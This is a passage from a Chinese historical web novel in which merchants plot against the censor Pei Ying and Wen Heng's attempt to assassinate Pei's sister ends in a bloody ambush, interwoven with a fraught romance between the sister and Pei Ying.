一半被稍微有些炽热地阳光照得透亮,半空中的蜉蝣清晰可见,仅仅站在里面,她都微微感到燥意。而另一半则隐在黑暗里,虽然点了几盏铜灯,用处却终是不大。长案床帷竹简四围,一切都灰蒙蒙得像是落了一层灰尘一样。 她自寻了裴瑛来,定然顺道告那两只畜生的帐,好端端地突然就发了疯要啄人,她定要叫哥哥好生管教一下它们,不要叫它们为非作歹了。 隔开里外间的珠帘在猛烈直射的阳光下变得有些晃眼,素白的双手拢起珠帘,她便看见了那么熟悉的青。 是裴瑛。 依旧是一身青色的袍子,低调间又氤氲着一丝空山新雨的朦胧清新与蓄雾藏烟的神秘玄机。 他一如往常贞枝肃矗地端坐在长案之后,修长的不染纤尘的手指执着白马作毫笔,抬手又在砚台上蘸了些墨,他神色凝重,锋利的笔锋在汗青之上写了几笔便又顿住了,秀丽的长眉也蹙了起来,像是遇到了什么难题。 可是,裴明绘却直觉地在裴瑛感受到了一种不同寻常的气息,仿佛白露飘零凉风忽至,愁苦与郁闷像是缠绵的雨丝纠缠着他,一夜之间玄黄俱尽,原本冒雪停学不改斯节的巍然消失得无影无踪。 裴明绘顿时慌张了起来,一种莫名的不妙感像是云雾一般升腾了起来,她手中拢着的珠帘瞬间便掉了下去,彼此珠玉相击碰撞,发出清脆却惊魂的声音,折出亮白却刺目的光来。 裴瑛瞬间顿笔,不知道是不是裴明绘看花了眼,他的肩头似乎颤抖了一下。 粉色的流溢着盛夏光彩的裙裾拖曳过红毡的明暗交界之处,裴明绘的胸口的心脏砰砰直跳,几乎要跳了出来。 她缓步走了过去,随着布料与红毡的簌簌摩擦声,裴瑛似乎溢出了一声叹息,可他依旧没有抬起头来。 裴明绘顿时慌了神。 这是以前从未有过的情况,哥哥从未如此对待过她! “哥哥!”她叫了依旧垂着头的裴瑛一声。 屋中清漏声阵阵,不过才一刻钟的时间,裴明绘却仿佛等了三转一般长久。 裴瑛终是抬起了头,可是她无比熟悉的眼眸里却没有了一丝往昔的关爱,甚至连既往的熠熠光彩都没了,似乎连往昔裴瑛的影子都消失了。 往日亲密无间的兄妹两人之间像是形成了一道无形却似有形的屏障,叫他们近在咫尺却又远在天涯。 她一时心惊肉跳,赶忙走了过去跪坐在裴瑛身边,小心翼翼地问道,“哥哥这是怎么了?” “……” 裴瑛垂下眼帘,不再看她。 裴明绘心里愈发着急,她不明白为什么自己哥哥突然便对自己如此冷淡,她不明白,她整个人都被恐惧所笼罩着,她急忙抓住裴瑛的袖子,问道,“哥哥,怎么了……” 裴瑛不动声色地将袖子从她手中扯了出来,而这一举动似乎也深深地伤到了裴明绘的心。 难道他知道了,不…… 不…… “哥哥这是怎么了,怎么平白地就不理人了呢,子吟若是有错,哥哥尽管骂就是了,可别就是不理我。”裴明绘不怕裴瑛骂她,可就怕裴瑛不理她,他这般疏离她,倒真是叫她万箭攒心般难受,可偏偏裴瑛又不说话。 裴瑛不经意地一回头,便撞进了裴明绘那几欲碎裂的眸子,心神便是一颤。 “今……今日并非十五。”裴瑛站起身来,一向言辞凌厉又流畅的御史大夫裴瑛竟然罕见地口吃了,原本永远温润的声线却仿佛被太多的东西干扰了,变得痛苦,让人听之欲碎,“你先回去。” 第30章 温小公子,这是去哪?你的剑忘带了。 “怎么又下雪了?” 郭升一推开窗子, 漫天飘飞的晶莹雪花便映入了他的眼帘,分外冰冷的空气涌了进来。 郭升忙整饬了自己的衣裳,一旁的婢女取来狐狸皮帽子, 郭升拿了起来戴在头上,推门出府上辎车, 辎车辚辚马蹄脆疾着驶着出巷子,过了约莫半个时辰,便停在一处僻静的府院处。 郭升一掀帘子,便是冻人的寒气,鼻腔顿时酸涩起来。 门前早有婢女提着灯笼等待着,一见郭升走来, 便欠身一礼, 走在郭升前头引路。 走过梅枝扶疏的白石子小径,晃动的灯影一寸接着一寸照亮落雪的红梅。 冷寂幽香不禁让郭升有些忐忑,她就走出了这片积满了大雪的幽林,来到一处六开间的厅堂, 红色的风灯三步一盏, 照出一片火红明亮。 侍候在大门的两位可人的婢女默然将大门推开, 温暖到生了燥意的气息瞬间从宾客满堂的大宴里涌了出来,带着醇厚的酒香与佳肴的香味直扑郭升面门,一时之间他仿佛已经沉沦在这场行将开始的大宴之中。 宽敞明亮的大厅之中宾客满堂灯红酒绿,长案之上铜鼎玉盘金爵象箸一应俱全。 “郭公来也。” 座上一人眼见, 率先看见了郭升,忙起身迎接,其余人见状, 也纷纷站了起来,拱手躬身前来迎接郭升。 在场众人皆为商贾, 且都是各行各业的翘首,无一不是家累万金之户,就以方才起身迎接之人,便是在盐铁官营之后便一落千丈的三川郡盐商陆之道。 “原是陆公啊。” 郭升很是享受如此恭维,矜持地拱手回礼。 “原我来晚了,失礼失礼。” “怎么会呢。”又有一深蓝色深衣的体态臃肿的男人站了起来,冲着郭升一拱手,“今儿的大宾还未来呢,想必我们还得要等上好一会才是。” 郭升见前头主位空着,正想抬脚上坐,却不曾想那男子的话正好戳了他的心窝,他心里头登时不满起来。 不过一个毛头小子,一无爵位,二无官身,怎敢担大宾之名呢。 本来大宴约定的时刻在卯时初刻,他便特地压着时间以便能够压轴出场以来彰显他的身份,可万万想不到竟然有人比他还猖狂。 陆之道眼见郭升要往主位上座,忙虚手将郭升请到了右上首首位,陪着笑道,“郭公请。” 郭升见状,登时蹙起了眉,鼻翼翕动发出不满的哼声,若非此次大宴极为重要,他定要甩袖离开。 郭升忍耐了,虽然有万般的不满,他却只能忍耐。 待到全部落座以后,郭升忍耐着所有的不满。 铜枝灯烛爆开火花,外头风雪愈盛。 又过了一刻,郭升显然不耐烦了,烦躁地将爵中酒一饮而尽,一旁窈窕的婢女便又捧着金酒壶续上一爵酒。 大厅中燎炉生得很旺,旺到燥热,燥热到似乎屋中所有水汽都正腾走了,郭升浑身上下燥热得很,让人心烦,他正要起身,却不料起身之时宽大的袖子却扫了正在斟酒的婢女,那无辜的婢女一个不防就手中酒壶就被打翻在地,酒水就洒在了他的衣服上。 “你——”郭升登时大怒,眼见自己身上华贵的绸衣竟成了如此模样,站起就是一脚,正好就踹在婢女的柔软的心窝之上,“滚——” 可怜的婢女登时就摔在地上,捂着胸口痛到站不起来。 “郭公息怒。”陆之道赶忙迎了过来,吩咐两个婢女将那个倒地不起的婢女搀扶起来带下厅堂去,“不过一个婢女罢了,怎只得郭公如此大发雷霆。” 岂料郭升正在愤怒的当头,以他的地位,本该就受人逢迎的,如今一场宴会下来,自己的位置却也无端低了一等。 况且,这陆之道嘴里这么说,可是郭升怎么听都不对味。 他本不好发作,可如今既然寻到了由头,他自然不可能放过。 这群人一贯势力,隐约间便有将他置于下位的意思,若不借机给他们下马威,定要唯温珩那小子为首了。 “一个婢女,却也值得陆公求情。” 郭升冷笑一声,细长的眼睛迸发出寒光。 陆之道顿时明了郭升的意思,只歉疚地一笑,“原是此地是长安,她虽是一个婢女,却也是梅院主人的婢女,不是在下的,也不是郭公的。只是若是随意打杀了,传出去,总是不好听的。” “呵,陆公言辞倒是好的。”郭升的眼风扫了过去,他冷笑一声,“只是为了一个婢女,就坏了兴致,怕是得不偿失罢。” 说罢,他便利落拔出腰上的长剑,一把拽住婢女的领子,转瞬便要捅进婢女的胸膛心窝 “好热闹。” 微微上扬的语调伴着清而慢的抚掌声从门外传来,顿时大门洞开,晶莹的雪花被鼓荡的冷风送了进来,飘荡着旋转着落在郭升的鼻尖,而后在他的呼吸间化成了水。 这惊悚的凉意顿时叫他心底的暴怒平息了下来。 众人纷纷起身,像是寂静的树林一般,等候着主人的到来。 尚凝这冰雪的黑色长靴结实地踩在华丽的红毡之上,如潮的灯火拂亮少年绝色的容颜,上挑的凤眼氤氲着多情的雾色。 “温公子。” 陆之道再度率先见礼。 “看来,这里有了什么麻烦事。”看似妩媚实则内敛锋芒的声音传来,温珩的眼睛扫过全场,瞬间鸦雀无声,“倒是一番热闹的场景,是开场的好戏吗?” 他的话总有一种懵懂无知的感觉,似乎对此间发生的事丝毫不知情一般。 郭升一时之间也觉得没甚意思,一挥袖子便又回到了自己的座位。 “好了,看来没什么事了。”温珩勾起了唇,摇曳着橘红光芒流转他的眸底,“实在是有要事,珩失礼了,还望诸君莫要怪罪才是。” “温公子今日驾临,便是我等之幸。”陆之道殷勤地将温珩请到了上座,并拿过婢女手中吉金色酒壶,亲自给他斟酒,“正是我有大宾,当鼓瑟吹笙也。只是事出突然,只能略备小宴,还请温公子不要见怪,” “不敢不敢。”温珩一笑,推辞道,“温某不过既无官身,又无爵位。实在是不敢担此虚荣。” 整座厅堂顿时哗然起来,先是你一句我一句地奉承起来,而后陆之道亲自张罗着开鼎开席,婢女们如流云一般穿梭在席间。 众人喝得酒酣眼热,其中几个心中对前途怀着忧愁的人一时便贪了杯,颓然便有醉倒之势。 温柔可人的婢女为温珩倒了酒,温烆站起身来,大步走到厅堂正中,高举手中酒爵,笑着说道,“今日能与诸君相聚,实乃珩之大幸,这爵酒,先敬商道诸君!” 一爵饮罢,又是一爵,而这一爵酒,温珩却敬给了郭升。 “郭公,珩为晚辈,当敬郭公一爵。珩年少轻狂,相处总有不当之处,还望郭公海涵才指教才是。” 温珩那独特的嗓音配上这番玲珑的话语,登时便契合了郭升那事事要出头要风光的郭升心头所想。 他躬着身垂着头,眼皮微微掀起,便看见了倒影在澄黄酒液力郭升的脸发生了变化。 他原本不耐的神色顿时换成了笑脸,笑呵呵地说道,“哈哈,温小公子客气了。我虽然是你的长辈,却到底不如温小公子有着官场上的阅历,又不必你的世家出身,哪里又能指教你呢哈哈。” 温珩白净的面容也浮起一分笑意,浓密纤细的眼睫也弯了起来:“郭公所言,那都是往日的繁华了,今我家道中落,自己却又不能明面示人,何其可悲也!” 郭升笑眯眯地看向眼前的年轻人,先前受到的冷落与今朝的奉承形成了无比鲜明的对比,他几乎要仰天大笑,却又矜持地暂时忍耐了下来,他咳嗽了一声,清了清嗓子里的激动与得意,故作长者的沉稳道,“此非天灾,而是人祸也。” “人祸……” 温珩作出一副迷惑的样子,秀丽的黑色长眉蹙了起来。 “几次三番陷害的你的人不是别人,正是御史大夫裴瑛啊。” 郭升语重心长道。 温珩恍然大悟,爵中酒都洒出来少许:“原来是他……” 郭升几乎要笑了出来,叫温珩震惊之巨有如针刺,心中更是嘲讽。 此子怪不得只有一张好看的皮囊,若非讨得陛下喜欢,此子焉能活到今日。 他显然十分享受为人指点迷津的感觉:“裴瑛此人,阴狠毒辣,此行算缗,哪里又为着支绌的财政呢,不过是贪吏当道敛财自富罢了,却偏偏要扯这些冠冕堂皇的大道理,真叫人恶心。” 如此说完,郭升犹嫌不足,便十分嫌恶地朝地上啐了一口。 温珩忍不住拧起了眉,但很快又被灿烂钦慕的笑容所掩盖:“这裴瑛当真是大奸大恶之徒,只可惜他狐假虎威倚仗着皇帝陛下与南云长公主的威势,我们终究奈何不得他。” “哈哈,今天白日的事,我也听说了。”郭升一笑,脸上的褶皱都舒展开来,“狗咬狗一嘴毛,大水冲了龙王庙,一家人倒不认一家人了!” 倏然,郭升再度话头一转,看向在场众人,颇为严肃地说道,“虽然此事可以当个笑话看,但终究可以见得裴瑛不过一仰仗女人与皇帝的人罢了,没什么可怕的。若是有朝一日皇帝不再器重裴瑛,长公主也不再喜欢裴瑛,裴瑛的势也救没了,他也就倒了。” 在一阵附和欢呼声中,温珩的嘴角再也忍不住地抽动起来。 他一笑,看似柔和实则强硬地打断了郭升的长篇大论:“虽然如此,可如何能教皇帝不再器重于裴瑛呢。裴瑛如此厉害,只怕他不死,恐怕总有东山再起之时。” “哎,后生莫插话。 ” 郭升眼见众人的目光已然都聚在了自己身上,不由更加得意,故作一番高深。 “不过一个裴瑛,虽为世家之后,如今却也不过孑然一身,只要他死了,就没什么好说的了。” 一言毕,满堂喝彩声哗然而起。 “只是,裴瑛毕竟位列三公,我等如何杀之?”陆之道提出了一问。 郭升微微蹙眉,陷入沉思,厅堂中人再度喧哗起来,你一言我一语地说了起来,不过叹息,说那裴瑛委实厉害,我等不过商人,何以动手云云。 “诸君莫得惊慌。”温珩见气氛起来,笑道,“若杀裴瑛,自当群策群力才是,若是我们万众一心,莫说一个裴瑛,就算千千万万个裴瑛,也没什么难得。” 温珩说罢,众人中又有一人说道,“今行算缗,明日便要抄家,今日我等若不有所为,来日便成了待宰羔羊!” “对!”又站起一人慷慨激昂道,“法不责众,我等只为我大汉朝民生百姓,万不等叫奸佞胡作非为。” 一下人声鼎沸起来,郭升也被激动人心热血沸腾的气象所感染,一时胸腔内热血涌动,忍不住便红了脸。 温珩的余光不动声色地便放在了郭升面上,唇角勾起一丝微不可查的弧度,他的眼风很快扫过众人。 随即人群中再度爆发出一股更加激烈的呐喊。 “我等愿追随郭大人,取裴瑛性命!” 一声毕,众声起。 郭升也激动了起来,连连拱手:“我不才,不敢当此大任。” 温珩向着郭升一拱手:“若是郭公都不敢当此大任,可教我等如何,如此救我大汉商道?” “天命所归,还望郭公莫要推辞才是。” 陆之道也向郭升拱手躬身,实是恭敬。 众人随之拱手躬身,一时蔚为大观。 见此情景,郭升也就不再推辞,乐呵呵地接受了如此大任。 待到大宴散尽,已是子时,外边的雪已经停了,原本松软洁白的满地白雪上留下凌乱交错的驶向各方的车辙印。 “你去哪里。” 跟随温珩一同来的男子唤住抬脚便要离开的温珩。 温珩停住脚,抱臂看向男子,淡道,“怎么,事情办完了,难道邹大人还需要温某陪你回去吗?” 此时此刻的温珩也完全蜕去了宴会上的温柔假面,语气也变得刻薄起来,末了,他觉得有些不过瘾,又转过身来补了一句,他扬起真切的微笑来,以极为关切的语气说着最讥讽的话,“难道邹大人一人还怕走夜路吗?” 被唤作邹大人的男人深深皱起了眉,反唇相讥,“邹某不比温小公子‘闻名遐迩’,孤身夜路也没有丢命的风险。” “温某的身家性命,就不劳大人挂念了。”温珩客气地冲他一拱手,抬脚欲走,却又被邹大人唤住。 一而再,温珩自是不高兴,回过眼来。 “邹大人到底有何事要说。” “也没什么要紧的。”邹大人一笑,“只不过想奉劝温小公子一句,你忘带东西了。” 说罢,邹大人便将手中剑丢了过去,温珩一招手便接了过来。 骨节分明洁白如瓷的手握住了冰冷的剑鞘。 这是一把通体露着杀气的剑,不知浸染了多少人的鲜血。 城楼的刁斗之声时断时续地回响着,回荡在二人的身边,有几缕飘进人心,又有几缕飞出天外。 “裴瑛不是吃素的,别把裴府当成你温小公子的后园,想来就来,想走就走。” 邹大人的声线骤然一沉,隐隐含着警告之意。 “你在命令我?” 温珩不禁笑了起来,他不可置信地回过头,呼啸而过的寒风将他的发吹得凌乱,又有几片晶莹的落雪自枯枝上被吹了下来,而后飘着旋着安歇在他的发上。 冰雪折风灯之光,冰冷的光落进他漆黑的眼眸,瞬间便被吞噬不见。 30-40 第31章 我不杀你了,你别哭。 “在下位卑言轻, 可不敢命令温小公子。”邹大人也跟着笑了起来,“只是,这是主公的意思, 在下只是代为奉劝罢了。毕竟前去裴府,与入虎穴并无多大分别。若温小公子能力不足杀不了人, 便也不要徒然浪费力量,若叫裴瑛察觉,我等安插在裴府的眼线便要为此折损不少了。温小公子好自思量才是。” 温珩只回头看他一眼,而后说道: “多谢邹大人的好心,我还有事,先走了。” 温珩显然不吃这一套, 走之后极为冷淡地笑了一声。 “果然, 这厮一贯轻狂,若要治这厮,定要叫他好好消受一番刀剑鲜血的道理才是。” 暗处传来一声冷笑。 邹大人不置可否,只淡淡道:“既然如此, 何必留下这轻狂之辈, 坏我等大事。” “这是主公的决断, 你且知道,一物降一物就好了。” * 春喜拔下头上的簪子,将长案上的铜灯火苗又挑亮了些,又打了个哈欠, 她察觉到自己已经开始困倦了,便伸了伸懒腰,强行打起精神来守夜。 她扭头看了看里间, 便又用手撑着头,继续坚持下去。 不知从何而来的烟雾悄无声息地弥漫开来, 春喜的上下眼皮开始打架,不一会就开始不住地点头,起初她还在苦苦坚持,但很快就彻底支撑不住了,沉沉地伏在长案睡了过去。 投宿在院中梨花树上的几只不知名的鸟啼叫着,但很快就没了声息,门悄悄地开了条缝隙,带着雪气的冷风卷了进来,很快,外间的灯烛挣扎了几下便也彻底熄灭了。 吱呀—— 门缓缓被推了开来,影子先人一步进来。 室内一片昏暗,燎炉的火光跳动着照亮伏案而睡的婢女的酣睡的侧颜,寒冷的雪光透过窗上绷着的白布透了进来,为少年的冷峻的身形镀上一层银光。 温珩悄无声息地走了进来。 他轻车熟路,绕过屏风走进里间,自房梁处悬下来的细腻白纱漫卷着缭绕在他的身上。 他无声地将白纱拂开,一步一步地走了过去。 —— 裴瑛的话如此生疏,甚至有了避之不及的意思。 她一把冲上去,从他背后抱住了他,紧紧地抱住,生怕一松手裴瑛就会消失不见,她泪流满面,哭成了泪人,“哥哥,你不要这样好不好,子吟知错了。” 裴瑛的身体也跟着颤抖着,她呜咽的哭声扰乱了他的心,他原本想要将她的手拿开,最后却还是松开了手。 “我知道,不是你的错。” 裴瑛背对着裴明绘,她看不见他的脸,但却可以感受到裴瑛的痛苦。 —— 修长的手指挑开的沉重厚实的帷幔,露出沉睡着的她的容颜。 温珩的目光梭巡在她的面容,无声地滑过她精致美丽的五官,看着她的眼睫颤抖着,看样子是陷入了不好的噩梦里。 好了,该结束了。 只要杀了她,计划就可以开始了。 用仇敌妹妹的鲜血来祭复仇的大旗,没有什么比这更畅快的了! 他垂下眼眸,手中剑无声便出鞘一寸有余,寒冷的光芒闪过,照亮他的眼眸。 他有些迫不及待想要看见裴瑛痛苦的神色,看着他一步一步走入自己精心编织的陷阱,然后作茧自缚,拼着一腔错误的仇恨与错误的仇敌同归于尽了! 他的心开始强烈地跳荡起来,往日积郁的磊块也将被她脖颈流淌的鲜血所冲走。 一切的一切,都将以她的鲜血开启。 温珩杀过很多人,他对旁人的生死很是默然,故在出剑之时心中没有丝毫的波澜,看着他们鲜血喷涌,看着他们人头滚地。 在他眼里,那些血腥残酷的场景,与葡萄酒喷涌,珍珠滚地的模样没什么差别。 “好了,结束了。” 温珩笑了起来,本就艳丽的面容变得更加惑人。 “这次,我不会放过你了。” 他的心跳愈来愈快,一时之间竟有些无法呼吸。 这种莫名的窒息感让他蹙起了眉。 可是就在他准备在她脆弱的颈项上轻轻划上一道之时,心中却传来蓦然的冷寂与空虚。 那年桃花纷飞之时哭声所引起的零星善意又从心中角落浮涌起来。 那未能传达的善意也随之搁在心底,或许,他应该对将死之人作一番真诚的祷告。 于是,他罕见地真心安慰了起来眼前的女子。 “不过你别怕,你哥哥很快就会去阴曹地府陪你了。你不会是一个人的。” 他的声音无比柔和,像是情人的情话。 “你这么爱你的哥哥,能跟她死在一处,一定会开心的。” 屋外寒风萧瑟凄冷,呜呜地吹走了檐上雪,成堆成堆落下了来。 像极了她来的那夜,院中大槐树上的积雪也是一堆一堆地往下落。 “好了。” 他强行按下心中悸动,优雅薄唇抿成一条线,五指次第握紧剑柄。 今箭在弦上,便不得不发。 可是就在长剑要尽数出鞘的时刻,他的腰身忽地一紧。 像是奇异的电流瞬间便流通全身的经脉一般,原本紧紧握着的剑柄的指关节瞬间松泛了。 温珩低下头,就看着她紧紧贴着自己,但眼睛却依旧紧紧闭着,浓密的睫羽剧烈地颤抖着,泪珠也落了下来,瘦削的肩头耸动着。 原来是他的腰又被她箍住了。 周身涌动的杀意瞬间停止,连不安躁动着飘动着的白纱也静止了下来。 温珩静静地看着她,一时之间,那过速的心跳渐渐慢了下来,他仿佛也能呼吸了,窒息的痛苦也不复存在了。 空冷之感亦不复矣。 —— “不……”裴明绘面色煞白,惶恐让她的瞳眸不住颤抖,抱着裴瑛的双臂也在一瞬间丧失了力气。 “子吟,你走罢。” 裴瑛背对着她。 “我吻你的时候,你尚不曾怪我,为何如今,你却要走。” 她紧紧地将头贴在他的背上,想要借此听一听他的心跳,知晓他的话是否真心。 “天下这么大,我又该去哪呢?” —— 温珩看着她不住颤抖的肩头,温珩将剑收了回去,心中积蓄的杀意瞬时荡然无存。 她好像很伤心。 她醒了吗? 还是在梦里她也知道他要杀她。 他的手缓缓从剑柄之上拿了下来,他垂着眼,看着她的泪水一颗接着一颗地落了下来。 她的眼泪流不尽一般,几乎都要将他的衣服打湿。 温热潮湿的泪水渗进他的衣裳,一路洇入肌理。 他痴痴看着她的哭泣的模样,此般模样,不施粉黛,却有独一分的清丽绝色之美,加之如露珠一般的泪水浸染三分哀戚,纵是烟树草木也为之黯然失色。 过往失势之怅恨,温珩瞬间忘得一干二净。 “好了,我不杀你了,你别哭了。” 空出来的手正好擦去她的眼泪。 那温热的泪水正好停留在他的指节之上。 温珩的记忆忽然又回到了那个雪夜,彼时她尚为着那些金银丝绢而哭,今日是为着自己的性命而哭吗? —— 她感受到裴瑛在颤抖,在害怕。 一瞬间,凉意直冲灵台。 她不可置信地抬起眼来。 他在痛苦…… 一瞬之间,裴明绘所有的心防悉数坍塌。 原来,她只是他的妹妹,他也只把她当做妹妹。 不要痛苦,如果,她的爱让他痛苦,那她情愿不要这份爱。 狂风起,满树梨花落,洁白的花瓣打着旋飘了进来,落了满地。 太阳西去,光线东移,照得满地的梨花花瓣发着光。 她定定地看着他,泪水无知觉地滚落下来,砸在落满花瓣的裙裾之上,留下深粉色的痕迹。 “真的吗?”她的声音轻的被风一吹都要听不见,“哥哥真的要我走吗?” 二人沉默地僵持着,彼时日已近西山,碧蓝天幕已为霞绡染作艳红。 “哥哥,子吟明白了。”裴明绘缓缓松开手,泪珠一颗一颗流了下来,几近绝望地说道,“子吟不会再来烦你了,不会了,还望哥哥……保重。” 裴瑛的身子一踉跄,裴明绘缓缓站起身来,目光是支离破碎的绝望,柔滑布料之声像是风刮过一般。 —— “怎么还哭?” 温珩不解地蹙起了眉。 她为什么这么多的泪,仿佛流不尽般。 他的目光不经意间便落在她的包扎着手上,细腻的白绢布将将原本优雅的手裹得有些臃肿。 “是疼吗?”温珩轻声说道,“原来是疼哭的。” 既然这么怕疼,却敢去徒手拦鞭子。 真不知道你是怕疼还是不怕疼,是傻还是聪明。 —— 黄昏残霞余光,透过雕花棱窗,落满地细碎残破的金黄光斑。 可就在她踉跄着与垂着头不说话的裴瑛擦肩而过的时候,修长的手却一把扣住了她的肩头,而后冰凉的柔软的贴了过来,将留下的眼泪一并吞咽了进去。 巨大的错愕几乎摄住她的心神,那双大手一手箍着她的腰,一手扣着她的后脑。 “不要走。” 一场痛苦的亲吻缓缓结束,他的唇缓缓离开,那微弱的声音叫她心碎。 “子吟不愿哥哥痛苦……” 话还未说完,双脚骤然腾空,裴瑛抄起她的膝弯,带着她走进了内间,床帏落下,大片的亮光悉数被挡在外头。 她被轻轻地放在床榻之上,看着裴瑛看着她,目光不复冷静,充斥了五味杂陈的痛苦。 他的手缓缓放在了腰带上,劲瘦的腰身被束带勾出惑人的线条,外衣落下,露出了里头洁白的中衣。 —— 博山炉逸散香气,无声地缭绕在他们身边,撩拨着人的情思。 温珩的手怜惜地擦去她的泪水,心中看不见,摸不着,被权欲压制着的隐秘情愫开始躁动起来。 一时之间,那几次不能的吻涌上脑海,那些精明的计量算计便略逊一筹,而那些不能言的欲望便脱胎而生。 他的目光落在她的唇上,正正好好一颗晶莹的余泪落在她的唇角。 鬼迷心窍,心为欲困。 色授魂与,我将不我。 “哥哥……” 梦呓一般的话语从她口中溢出来。 瞬间,温珩的动作便是一顿,呼吸也瞬间停顿下来,原本已经放松下来的心情瞬间变成冰天雪地。 “……” 他瞬间抬起眼帘来,氤氲蓊郁着的情与欲荡然无存,只有猛烈呼啸的长风冷雪在眸底激荡着。 第32章 螳螂捕蝉,黄雀在后 沉醉在梦里无知的呓语彻底散去余音, 温珩的面上温度也随之消失,黑色的眼眸一寸一寸凝上冰冷的霜,化作上挑眼尾的那抹血红色。 他的目光冷静而又凛冽, 呼吸却又沉重。 他的心情变得很是不好,非常非常不好。 他缓缓直起了身体, 坠着流苏的帷幔也随之垂落下来,彻底遮住了他的目光。 彻底不见她的容颜,他的神思倒也清醒了下来。 手再度无声搭上剑鞘,长剑剑柄处雕刻的玄鹰冰冷而又坚硬,让温珩的躁动的心冷静下来。 但只有他自己知道,极度冷静的面容之下却是难以遏制的怒意。 到底是裴瑛的好妹妹, 梦里梦外都惦记着他。 可谁又知道, 裴瑛这个好妹妹,却觊觎着自己的好哥哥,不知道裴瑛临死之时,知道这个振奋人心的消息, 又会如何呢? 裴瑛这个人, 分明心狠手辣却又自视清高, 若是知道自己一直视为亲妹的裴明绘却在暗中觊觎自己,不知道那种讨厌的脸上又该是什么好看的颜色呢。 想到这里,温珩不由笑了起来。 他对于所有的前因后果都十分明白,可是就是因为明白, 便也以为事情悉数在自己的掌控之中。 起初不过是为了报复裴瑛才接近她,一举烧毁了裴氏半数资财,后欲取其妹性命, 叫裴瑛痛不欲生追查凶手之时,长安之人便会重翻旧案。 裴瑛在位久矣, 树敌无数,只要他报仇心切一步踏错便是万丈深渊。 而就在裴明绘被害身亡之后,所有的证据就会指向当朝的丞相,陆珩舟。 两虎相斗,必有一死。而活下来的人,势必也是元气大伤,倒是便是除掉那个人的时候。 原本一切的谋划都已到位。 众人也对他寄予厚望,可偏偏他没下手。 虽然那人对此甚为不满,说如此两面出击形式大好,温小公子如何总是拖后腿。 温珩本不是多情之人,绝不会因为裴明绘只是一个无辜的人而手下留情。 可是诸多原因却叫他没有下得了手。 他也不在乎这些所谓的错综复杂的原因,他向来恣意妄为,幼时有父亲家族庇护,少时为皇帝宠臣,更为宠幸。 若非裴瑛心狠手辣手段狠毒,他断然不会落得如此下场。 骤然,对裴家人的厌恶占了上风。 温珩的修长的手指缓慢地握紧剑柄,带起丝丝入骨的凉意。 既然她梦里心向裴瑛,就让她在梦里死去,免得再看见裴瑛以后惨死的模样,痛不欲生。 温珩以极度慈悲的心思思忖着。 若是以往,自己定然不会寻这些稀奇古怪的由头,往往一剑封喉干脆了事。 或许,是她的容颜让自己多了一份奇怪的怜悯之心。 当然,仅此而已。 可就在长剑出剑三寸之时,屋外寒风躁动起来,吹得檐下铁马叮咚作响,冷风似是从窗隙透进了屋内,寒风卷着暖意翻滚挣扎着,自梁上垂下的白纱不安地涌动着,像是平静的湖面之下危险的暗流。 他却全然不顾,全幅身心都放在手中剑上。 屋外寒鸦惊叫,那冷寂得几乎要冰冻人骨头的声音却黑暗之中沉沉地传了过来。 “雪夜客来,当不胜欢喜。客又何必剑拔弩张呢。” 温珩顿时大惊,长剑瞬时出鞘,直指来人。 寒光自剑柄处一路闪过,最后在锋利的剑尖凝作光芒一点。 白衣胜雪,黑发葳蕤,裴瑛绕过镶嵌着金玉的云母石屏风,笑吟吟从容而来,极致冰冷的雪光与昏暗的温暖火色竞相照在他的身上,一半是萦绕着杀意的寒冷,一半则是猎物到手的欢愉。 骤然在此处撞见裴瑛,显然出乎温珩意料。 温珩来时,便早已探听好裴家各暗卫巡逻交班之时,兼之又有内应,总归也是来去自如并无风险。 或许是几次死里逃生的自信,加之背后人的神通广大,让温珩以为裴瑛是不过如此,是可以被玩弄于鼓掌之中的人物。 冰冷的空气间瞬间绷起一根看不见的弦,随着时间的挪移而愈来愈紧,随时都有崩断之嫌。 裴瑛唇畔扬起一丝几不可见弧度,黑白分明的眼中却带着无尽的凉薄憎恶与欲将眼前人碎尸万段的杀意:“温小公子,许久不见。可还安好?” “!” 他心思敏捷,便知此时定要出手,故话不多说,直接出剑。 剑锋斜出,直逼裴瑛面门,出手狠辣,势必要取其性命。 裴瑛冷笑一声,似乎等的就是他主动出击。 眼见剑风逼至近前,裴瑛却依旧按剑不动,身侧的黑影如风过林一般簌簌而来,瞬间刀光剑影罗织成网。只一瞬间的功夫,温珩身上也多了不知多少伤处,鲜血飞溅溅满罗帷。 冷风游窜,带着星星点点的血迹的白纱摇动着,血腥之气瞬间逸散开来,幽幽地飘散在温暖的室内,甚至将屋中燃着的檀香的香气都压了下去。 最后一剑直接贯穿他的肩胛骨,剑尖无情地穿透柔软厚实的红毡,狠狠将他定在地上,一瞬间袭来的猛烈的疼痛让温珩头皮都发麻,浑身上下的血肉似乎都在叫嚣着痛苦,可就在温珩要痛呼出声的时候,一只冰冷的手却捂住了他的嘴。 看似轻柔,却顿时叫他有了窒息之感。 裴瑛的另一只手抬起放在唇边示意噤声:“小声些,不过小伤,温公子难道还能哭出来吗?” 他的话这样温柔,像是在哄不小心受了伤的孩童一般,但是本该是安慰的话语,却随着唇角笑意而轻快地扬了起来。 可是如此多的攻击,偏偏却又未伤及温珩要害之处,让他不至于轻易死去。 裴瑛眼神挪向屋外,众暗卫瞬间神会,拖着温珩就将他拖去了外间,红毡上留下一道鲜红的血痕。 一路拖来,红血溅白雪,宛若点点红梅开。 裴瑛走在皑皑白雪之上,白衣飘飘潇散出尘,冷光雪色自四方落下,在他的身形勾勒出一笔清绝微光。 “去点支安神香。”裴瑛转头低声吩咐暗卫,一暗卫拱手领命,大步却无声进了屋子。 鲜血洇透白雪,雪化血水,后凝为赤冰。 森森白刃交加于颈上,差之毫厘便将尸首分离。 温珩咬着牙,仰头看向裴瑛,冷笑一声后,想要说话,却只吐出一口血来,鲜血葳蕤蔓延,让他本就绝色面容平添三分艳丽。 “几次客来,在下都不能好生招待,今日可算等到了,如此招待,还请客见谅。” 裴瑛从容撩起袍袖单膝跪于他身前,垂首低眸却依旧居高临下地睥睨着满身是血的温珩,看见他如此狼狈却又如此倔强的模样,一时心底欢愉无比,竟也忍不住笑出了声。 “我日思夜想见到客。” 日思夜想,将其凌迟之愿望日渐浓却不得消解。 “却终是寻客无觅处。” 终无觅处,内心滔天的怒火就像火山一样积压着。 一朝爆发,便是雷霆万钧不可消受。 “却不曾想,客却赶来自投罗网,竟叫我百思不得其解。” 裴瑛喜不自胜地再度笑出了声,雪光落进他的眼眸,却晕开深沉的光。 “呵,是啊,我夜夜与汝妹共度春宵,自然得来,未免她奈得闺中寂寞不能消解……” 